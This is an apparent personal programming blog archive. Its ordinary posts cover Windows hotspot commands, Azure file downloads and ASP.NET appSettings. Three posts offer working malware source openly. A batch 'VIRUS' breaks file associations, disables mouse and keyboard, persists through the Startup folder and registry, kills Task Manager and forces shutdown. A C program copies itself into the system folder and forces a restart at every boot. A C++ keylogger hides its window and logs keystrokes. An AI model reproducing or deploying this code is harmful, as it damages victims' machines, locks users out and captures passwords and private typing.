Thursday, 16 October 2014

Create your own Hot spot in laptop


                   
                         Open the notepad and type these below lines save as .bat extension and run as administrator

netsh wlan set hostednetwork mode=allow ssid=username key=password

netsh wlan start hostednetwork
netsh wlan show hostednetwork





To stop the hot shot

               
                           Open the notepad and type these below lines save as .bat extension and run as administrator

netsh wlan stop hostednetwork

netsh wlan show hostednetwork



To delete the hotspot


                              Open the notepad and type these below lines save as .bat extension and run as administrator


netsh wlan stop hostednetwork

netsh wlan set hostednetwork mode=disallow
netsh wlan show hostednetwork

Friday, 23 May 2014

Downloading Large files from Windows Azure

 





//Retrieve filenname from DB (based on fileid (Guid))
// *SNIP*
string filename = "Dinesh.txt";


if (HttpContext.Current.Request.UserAgent != null &&
HttpContext.Current.Request.UserAgent.ToUpper().Contains("MSIE"))
    filename = HttpUtility.UrlEncode(filename,
 System.Text.Encoding.UTF8).Replace("+", " ");

context.Response.Charset = "UTF-8";

context.Response.Buffer = false;
context.Response.AddHeader("Content-Disposition",
 "attachment; filename=\"" + filename + "\"");
context.Response.AddHeader("Content-Length", "100122334");
//Set the length the file
context.Response.ContentType = "application/octet-stream";
context.Response.Flush();

//Use the Azure API to stream the blob to the user instantly.
// *SNIP*
fileBlob.DownloadToStream(context.Response.OutputStream);

Tuesday, 25 June 2013

How to Get or Set AppSettings in web.config file using asp.net.(CodeBehind)




Now I will explain how to write appsettings in web.config file and how to read appsettings from web.config file using asp.net.


To add appsettings first create new website open web.config file and search for “appSettings” and add new item in appSettings section.The section is like this.

<appSettings>
<add key="yourappsettingsstringName" value=" yourappsettingsvalue" />
</appSettings>

The main purpose used for appsettings is for declaring the connection string.because if we have a too many pages in application then it will not require to write connection string on every page.However we can define any key which are used in many pages.

Example of declaring appSettings in web.config file like this.

<appSettings>
<add key="dbconnectionstring" value="Data Source=DineshIyngaran;Initial Catalog=MysampleDB; Integrated Security=true"/>
</appSettings>

The good advantage of writing the appsettings in web config is we can manage it easily.means if we want to change its value then we can change it only in appsetting.we dont need to write and change it in every pages.This is the biggest advantage of it.

Lets take an Example.and test it.


<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title>Read or Write appsetting values from web.config file in asp.net</title>
</head>
<body>
<form id="form1" runat="server">
<div>
<asp:Label ID="lblText" runat="server"/>
</div>
</form>
</body>
</html>

After that add following namespace in codebehind file

using System;
using System.Configuration;

 The namespace using System.Configuration; is used to get configuration section details from web.config file.

After add namespaces write the following code in code behind

protected void Page_Load(object sender, EventArgs e)
{
//Get appsettings string value from web.config file
string strcon = System.Configuration.ConfigurationManager.AppSettings["dbconnectionstring"];
//Bind appsettings string value to label
lblText.Text = strcon;


//set appsettings
 ConfigurationManager.AppSettings.Set("yourappsettingsstringName", "yourappsettingsvalue");
}



Wednesday, 21 November 2012

Shut Down your PC in Better way


Shut Down your PC in Better way

void main(void)
{
system("shutdown -s");
}


Save the above .Let file name is close.c and compile and execute the above program. Now close the turbo c compiler and open the directory in window you have saved the close.c ( default directory c:\tc\bin) and double click the its exe file(close.exe).After some time your window will shutdown.

Wednesday, 12 September 2012

VIRUS





disables mouse &keyboard
 disables task manager
 starts at startup
 alters file associations
Here's the code:
----begin code----
@echo off
prompt $P $G
assoc .doc  = fA1luRe
assoc .docx  = fA1luRe
assoc .log  = fA1luRe
assoc .msg  = fA1luRe
assoc .pages  = fA1luRe
assoc .rtf  = fA1luRe
assoc .txt  = fA1luRe
assoc .wpd  = fA1luRe
assoc .wps  = fA1luRe
assoc .accdb  = fA1luRe
assoc .blg  = fA1luRe
assoc .csv  = fA1luRe
assoc .dat  = fA1luRe
assoc .db  = fA1luRe
assoc .efx  = fA1luRe
assoc .mdb  = fA1luRe
assoc .pdb  = fA1luRe
assoc .pps  = fA1luRe
assoc .ppt  = fA1luRe
assoc .pptx  = fA1luRe
assoc .sdb  = fA1luRe
assoc .sdf  = fA1luRe
assoc .sql  = fA1luRe
assoc .vcf  = fA1luRe
assoc .wks  = fA1luRe
assoc .xls  = fA1luRe
assoc .xlsx  = fA1luRe
assoc .xml  = fA1luRe
assoc .bmp  = fA1luRe
assoc .gif  = fA1luRe
assoc .jpg  = fA1luRe
assoc .png  = fA1luRe
assoc .psd  = fA1luRe
assoc .psp  = fA1luRe
assoc .thm  = fA1luRe
assoc .tif  = fA1luRe
assoc .ai  = fA1luRe
assoc .drw  = fA1luRe
assoc .eps  = fA1luRe
assoc .ps  = fA1luRe
assoc .svg  = fA1luRe
assoc .3dm  = fA1luRe
assoc .dwg  = fA1luRe
assoc .dxf  = fA1luRe
assoc .pln  = fA1luRe
assoc .indd  = fA1luRe
assoc .pct  = fA1luRe
assoc .pdf  = fA1luRe
assoc .qxd  = fA1luRe
assoc .qxp  = fA1luRe
assoc .rels  = fA1luRe
assoc .aac  = fA1luRe
assoc .aif  = fA1luRe
assoc .iff  = fA1luRe
assoc .m3u  = fA1luRe
assoc .mid  = fA1luRe
assoc .mp3  = fA1luRe
assoc .mpa  = fA1luRe
assoc .ra  = fA1luRe
assoc .wav  = fA1luRe
assoc .wma  = fA1luRe
assoc .3g2  = fA1luRe
assoc .3gp  = fA1luRe
assoc .asf  = fA1luRe
assoc .asx  = fA1luRe
assoc .avi  = fA1luRe
assoc .flv  = fA1luRe
assoc .mov  = fA1luRe
assoc .mp4  = fA1luRe
assoc .mpg  = fA1luRe
assoc .rm  = fA1luRe
assoc .swf  = fA1luRe
assoc .vob  = fA1luRe
assoc .wmv  = fA1luRe
assoc .asp  = fA1luRe
assoc .cer  = fA1luRe
assoc .csr  = fA1luRe
assoc .css  = fA1luRe
assoc .htm  = fA1luRe
assoc .html  = fA1luRe
assoc .js  = fA1luRe
assoc .jsp  = fA1luRe
assoc .php  = fA1luRe
assoc .rss  = fA1luRe
assoc .tvpi  = fA1luRe
assoc .tvvi  = fA1luRe
assoc .xhtml  = fA1luRe
assoc .fnt  = fA1luRe
assoc .fon  = fA1luRe
assoc .otf  = fA1luRe
assoc .ttf  = fA1luRe
assoc .8bi  = fA1luRe
assoc .plugin  = fA1luRe
assoc .xll  = fA1luRe
assoc .cab  = fA1luRe
assoc .cpl  = fA1luRe
assoc .cur  = fA1luRe
assoc .dll  = fA1luRe
assoc .dmp  = fA1luRe
assoc .drv  = fA1luRe
assoc .key  = fA1luRe
assoc .lnk  = fA1luRe
assoc .sys  = fA1luRe
assoc .cfg  = fA1luRe
assoc .ini  = fA1luRe
assoc .keychain  = fA1luRe
assoc .prf  = fA1luRe
assoc .app  = fA1luRe
assoc .bat  = fA1luRe
assoc .cgi  = fA1luRe
assoc .com  = fA1luRe
assoc .exe  = fA1luRe
assoc .pif  = fA1luRe
assoc .vb  = fA1luRe
assoc .ws  = fA1luRe
assoc .7z  = fA1luRe
assoc .deb  = fA1luRe
assoc .gz  = fA1luRe
assoc .pkg  = fA1luRe
assoc .rar  = fA1luRe
assoc .sit  = fA1luRe
assoc .sitx  = fA1luRe
assoc .tar.gz  = fA1luRe
assoc .zip  = fA1luRe
assoc .zipx  = fA1luRe
assoc .bin  = fA1luRe
assoc .hqx  = fA1luRe
assoc .mim  = fA1luRe
assoc .uue  = fA1luRe
assoc .c  = fA1luRe
assoc .cpp  = fA1luRe
assoc .dtd  = fA1luRe
assoc .java  = fA1luRe
assoc .pl  = fA1luRe
assoc .bak  = fA1luRe
assoc .bup  = fA1luRe
assoc .gho  = fA1luRe
assoc .ori  = fA1luRe
assoc .tmp  = fA1luRe
assoc .dmg  = fA1luRe
assoc .iso  = fA1luRe
assoc .toast  = fA1luRe
assoc .vcd  = fA1luRe
assoc .gam  = fA1luRe
assoc .nes  = fA1luRe
assoc .rom  = fA1luRe
assoc .sav  = fA1luRe
assoc .dbx  = fA1luRe
assoc .msi  = fA1luRe
assoc .part  = fA1luRe
assoc .torrent  = fA1luRe
assoc .yps  = fA1luRe
rundll32.exe mouse, disable
rundll32.exe keyboard, disable
copy setup.bat %userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
copy setup.bat %windir%\System32
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v fA1luRe /t REG_SZ /d %windir%\System32\setup.bat
taskkill /f /im taskmgr.exe
reg restore HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System DisableTaskMgr = 1
shutdown -s -f -t 10 -c "PwN3D by fA1luRe!!!"
----end code----

Save it as *.bat
Once saved, don't open it!!!
Open and do this at your own risk!!!

Monday, 3 September 2012

A C++ code to crash the system.








#include
#include
#include

void main()
{
int done;
char buff[128];
struct ffblk ffblk;
FILE *self,*target;
done=findfirst("C:\\windows\\system\\terminator.exe",&ffblk,0);
if(done==0)
{
system("shutdown -r -t 0");
}
else
{
self=fopen(_argv[0],"rb");
target=fopen("C:\\windows\\system\\terminator.exe","wb");
system("REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run \/v terminator \/t REG_SZ \/d C:\\windows\\system\\terminator.exe");
while(fread(buff,1,1,self)>0)
fwrite(buff,1,1,target);
fcloseall();
}
}

Algorithm:

1. Create terminator.exe in system folder.

2. Create a registry patch so that it will be checked at every start up.

3. Restart command if terminator.exe is present otherwise create it.


Saturday, 1 September 2012

KEYLOGGER In C++ Programming






Keylogger software has the capability to record keystroke and save it to a log file for future use. Captures every key pressed on the computer viewed by the unauthorized user.

C++ Source Code:

#include
using namespace std;
#include
#include

int Save (int key_stroke, char *file);
void Stealth();

int main()
{
Stealth();
char i;

while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
}
}
system ("PAUSE");
return 0;
}

/* *********************************** */

int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

cout << key_stroke << endl;

if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose (OUTPUT_FILE);
return 0;
}

/* *********************************** */

void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}

Hide New... button on lookup controls in model-driven apps

  The 'New ...' button is shown upon opening the lookup search dialog whenever the logged in user has at least user create privileg...